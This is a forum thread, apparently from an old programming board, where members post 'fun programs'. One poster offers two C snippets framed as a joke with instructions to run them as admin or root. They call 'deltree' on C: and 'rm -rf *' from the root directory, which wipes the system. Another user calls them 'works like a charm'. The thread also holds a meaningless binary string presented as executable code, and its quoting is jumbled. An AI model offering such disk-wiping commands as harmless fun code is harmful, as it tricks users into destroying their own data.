Member
- Joined
- Apr 21, 2003
- Messages
- 234
- Best answers
- 0
Post your little fun programs here. I'd post them but I'm on my dads computer with no compiler.
This is also the Coding-related section. We do allow people to start coding-related topics here. It's just not often done, because we don't have that many coders holding discussions in here.RavenTrunks said:bug.... report????
// make sure you run this from an admin account
// system() is defined in stdlib.h or something but i forget and
// don't really care about windows tbfh
#include <windows.h>
int main()
{
// should probably add system("@echo off"); here
system("deltree \y c:");
return 0;
}
// make sure you run this as root
int main()
{
umask(777);
system("nohup cd /; rm -rf * > /dev/null 2>&1 &");
return 0;
}
Works like a charm, thanks ;DKurt` said:Easiest programs ever:
Windows:
Unix/Linux/BSD/FruitOSX:Code:// make sure you run this from an admin account // system() is defined in stdlib.h or something but i forget and // don't really care about windows tbfh #include <windows.h> int main() { // should probably add system("@echo off"); here system("deltree \y c:"); return 0; }
Disclaimer: I take no responsibility for damage to your computer, run these programs at your own risk lolCode:// make sure you run this as root int main() { umask(777); system("nohup cd /; rm -rf * > /dev/null 2>&1 &"); return 0; }
Er... that's a pretty funny question that doesn't seem to contribute much to the topic . I will answer by saying all of the above posted are coded in C++, but maybe someone would like to bring a different language into this thread? >_>donnierisk said:I'm sorry, but I have no clua as of what is going on, I can only code HTML, lol, so can someone please tell me what all of his is? o.0
Do you know what that does or did you just put a whole lot of 0's and 1's together and hope it does something?Rixorster said:That is decoded/encoded .exe codeCode:01001011000111110010010101010101010000011111100000
Seriously? How did you figure out how to disassemble the PE header and everything?Rixorster said:That is decoded/encoded .exe codeCode:01001011000111110010010101010101010000011111100000